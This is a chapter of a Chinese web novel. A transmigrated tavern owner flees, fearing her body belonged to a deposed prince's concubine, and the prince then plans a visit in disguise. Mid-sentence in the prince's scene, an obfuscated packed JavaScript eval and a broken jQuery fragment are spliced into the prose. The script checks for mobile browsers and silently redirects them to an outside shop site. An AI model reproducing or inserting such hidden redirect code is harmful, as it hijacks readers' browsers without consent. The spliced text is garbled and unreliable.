“快别待了,走!”江曼风死死拽住露凝,便朝楼下冲去。
“钱还没付呢!”掌柜抱着货品从库房出来,看见贵客起身,急忙喊道:
“不用找了!”江曼风将钱袋远远一扔,落在柜台上,布带松开,光亮银锭骨碌碌滚了一地,见众人都慌忙去捡,不仅有店员,还有宾客,她干脆将外套也揉成一团,糊住自己满脸,和露凝匆匆回到旅店。蜻蜓点水般拿上贵重行李,立刻租车打道回府。
直到马车帘子落下,脸上面纱摘掉,江曼风才气喘吁吁往嘴里灌水,像才经历过仓皇逃命。
“东家,您买的东西还没拿呢。”露凝仍一副与己无关的平静样子,“是有急事要回,改天再派我来取,还是让他们给您寄回来?”
“不要了。”江曼风抹去额头上汗珠:“都不要了,再也别上这地方来。”
“可是胭脂香粉中有毒?”露凝神色终于严肃起来,话却更加不着调。
“没有,我不清楚。”江曼风握住露凝双手:“还有,你到底是谁,来自哪里?”
“我是临春楼做事的。”露凝答:“身世您之前问过,我刚被您从人牙子手里买下,才两个月。”
“那我是谁?”江曼风又问自己。
“老板。”
“还有吗,别的呢?”
露凝摇摇头。
“您只是我们姐妹两个的东家,别的没有。”
“为何,为何那些人都说我和芳韵长相相同,你们是否知道些内情?若一无所知,又怎能在他人指出这问题时,如此气定神闲?”
“您想做生意,我们就跟着做。”露凝说,“不想做生意,大家便一起歇着。您是东家,我们全听您的。眼下您连大几十两银子的精细货都不要,可见认为眼前活计太过劳累,手中银子也够花,又想像从前那样歇着了。”她摊手:“我们既然靠您吃饭,都听您的。”
“嘶——”
江曼风似乎多少有点意识到,为什么之前的临春楼如此门可罗雀,而穿越前的老板懒懒散散,一丝赚钱的欲望都没有;同时,楼上房间里为何藏着那么多钱,几个手下又都能读书识字……
“难道,我还真是来临春楼避祸躲灾?”
她心慌意乱,手上攥得紧了,竟将面纱生生撕成两半。
难道说,她这具身体,当真属于曾经那位为护废太子坠下燕舞楼的爱妾芳韵,京城可悲可叹的风云人物?
怪不得原主压根没有经营酒楼的心思,估计只是找个地方隐蔽下来,想隐姓埋名地活下去罢了!都怪自己一时兴起,将临春楼的口碑打出去不说,甚至还接了京城相关的单子。
接了那个和原主真实身份息息相关的,世上最最危险,最不能重游之地的单子。
真的糊涂!
“你!”江曼风质问露凝:“明明知道我们抛头露面会有危险,怎么不阻止——至少不肯稍作提醒?”
“我们只听您差遣。”露凝回答:“不问缘由。”
好家伙,合这帮人是完全信任原主,认为东家做什么都有其道理:跑到偏僻城镇开小酒馆是为安全着想的明智之策,故地重游当面挑衅,更属于长远打算?无论江曼风做什么诡异之事,都愿意赔上一切同她赌一把?
实在是阴差阳错交加,搞出个大乌龙。
“我失忆了。”江曼风无奈扶额,“从前重要的东西都记不得,能不能请你将过去的事情说一说,例如我到底是谁,我又当真是芳韵本人么?”
“东家既然忘,便自有东家的道理。”露凝却仿佛心领神会了什么奇怪的东西:“我一定不会说,况且,雾结记性也不好。”雾凝拍拍江曼风,似作安慰:“一样不影响她活着。”
好你个原主,连现在的‘自己’也防啊!
从原主的角度上,虽思路清奇些,倒还意外说得通?像这样,即便有异世之人占领其身体,必因不了解情况失足暴露而死,确保了原主对当前躯壳的绝对控制权。
可江曼风的确是意外穿来,她该不想要回原来的身体,在现代继续设计一堆美美的特色文创么?如今也实在无辜。
罢了,天无绝人之路,江曼风要自己挣出一条生路!
见露凝这副故作神秘的样子,她在感到为难之余,却也朦朦胧胧生出几分悲哀。
谁能想到,他们全身心信任依赖,只听吩咐不问缘由的“东家”,竟已在某日无声无息地辞世了。
假使真芳韵逝世当日,便是江曼风穿越之时,可见原主并非死于坠楼,甚至算不上物理攻击,毕竟体表无明显外伤,江曼风本人最清楚——
那就是毒。
对着铜壶上模糊不清的倒影,她嘴唇翕动,像在和原主对话:
“要我替你——复仇吗?”
“殿下,您看。”永茂将收到的笺子呈给李垂光,“这是那位老板根据燕舞楼,初步推出的几项产品,您可还满意?”
李垂光看了看,点头赞叹:
“想法新奇,确实值得合作。”
“属下说得没错吧,您一定会喜欢——”
“这装香的瓶子是有意思。”他说,“若是再托京中两三个贵女佩戴,定会流行。只不过由我出面去找,倒是不妥……”
“属下了解,属下定留心去办!”
“至于那位老板的底细,可有进展?”
“说来是奇怪的很,这临春楼之前不显山不露水,甚至听说酒菜极普通,态度也不是多好,老板终日一副不爱理人的样子。谁知某天突然三百六十度大转变,就像换了个人。”
“她是哪里人?”
“回殿下,似乎就是当地人。”
“继续查。”李垂光对此结果并不满意。
“属下差点忘了,老板还专程问您喜好,打听这边对燕舞楼相关的甜点酒菜是否有建议。”
“甜羹。”他说,“百合羹、再加莲子红枣什么,我倒记不太清。”
“你只说,那位女子还在世的时候,常为废太子熬些滋补的甜羹,亲自送至书房,劝他在得空时服下。当时一切已不容乐观,储君之位岌岌可危,郁
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17865534|212180||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
气滞结,常添咳喘之症。她能有心做此事,可见情深意厚。”
“好。”永茂记下,一边盘算着赶紧让厨房做些类似的汤羹来,挽救一下主子同样岌岌可危的身体。
“等等。”李垂光补充,“假设她真有奇技在身,就对她说,我还有一个古怪的小要求。”
“是多加糖蜜么?”
“能将那汤羹做得无毒可食,但银针刺下去变黑,便最好了。”
“什么?殿下,这多半不可能。”永茂赶紧指明,“那样哪位客人敢入口,岂不是砸酒楼的招牌?”
“那便真放些毒药进去。”
“老板会被扭送官府的!”
“只好……意思意思,只弄根变黑的银针在旁边吧。”
“这……殿下,”永茂后知后觉,“您指当初那些甜羹都有毒?”
“罢了罢了。”李垂光摆摆手,“这还太早,就让她随便做罢。”他说,“我不该现在干涉,若插手多了,难免又让人看出来,是我做的事情。”
永茂本来还想着重介绍江曼风提出的飞花鸡尾酒,粉色乳液会在清澈的酒浆内滴滴下沉,如落花更似美人。
而今废太子越说越不对劲,他赶紧把嘴边的话都硬生生憋了回去。
刚想下去,长流又拿着最新的书信气鼓鼓走来:
“殿下,那老板抽什么风?”长流将信纸掷在案上,“突然说不做了!”
“什么?”
“我瞧瞧。”永茂捡起那张纸:“岂有此理?定金已收,交易不可废——”
“临春楼说,数倍赔偿都可以,只是死活不肯再接我们这个燕舞楼的单子。”
“莫非有人作梗?”李垂光刷地站起身,“不太可能,此事才刚刚起步,显眼不了。或是她在收集燕舞楼旧闻时,托人打听到了不该打听的人……”
“该死。”长流不满到了极点:“殿下,咱们找老板算账去,用不了几日——”
“是啊,她一个小镇女子,哪来那么多钱?定有蹊跷。”
“一句身体不适,就将咱们的计划给毁了,必须上门算账;或者咱拿着她的这个方案,再去找能工巧匠,名厨来做!”
“方案已初具雏形,并非心有余而力不足。”永茂说,“属下也认为,还是当面询问最佳。”
“我也去。”
“殿下!”
“万万不可——”
“你们没瞧见那日那名守卫的反应么?”李垂光抬眸,“既然称她天分难得,我便不换别人,点名要她。”
“想要合作,我就拿出诚心,去亲自说服这位老板。”
“可是——”
“怕什么?我现在自外人看来,几乎一无所有,燕舞楼已不容我设宴,挑个偏僻小镇散心,多饮几坛美酒,又能碍着谁的眼睛?”
“明白了。”永茂点头,“属下只好……给您多找几位姑娘陪着,仍然装作深受打击,花天酒地之态。”
“都不要。为我易容。”李垂光宣布,“此行仅为一事,不多逗留。”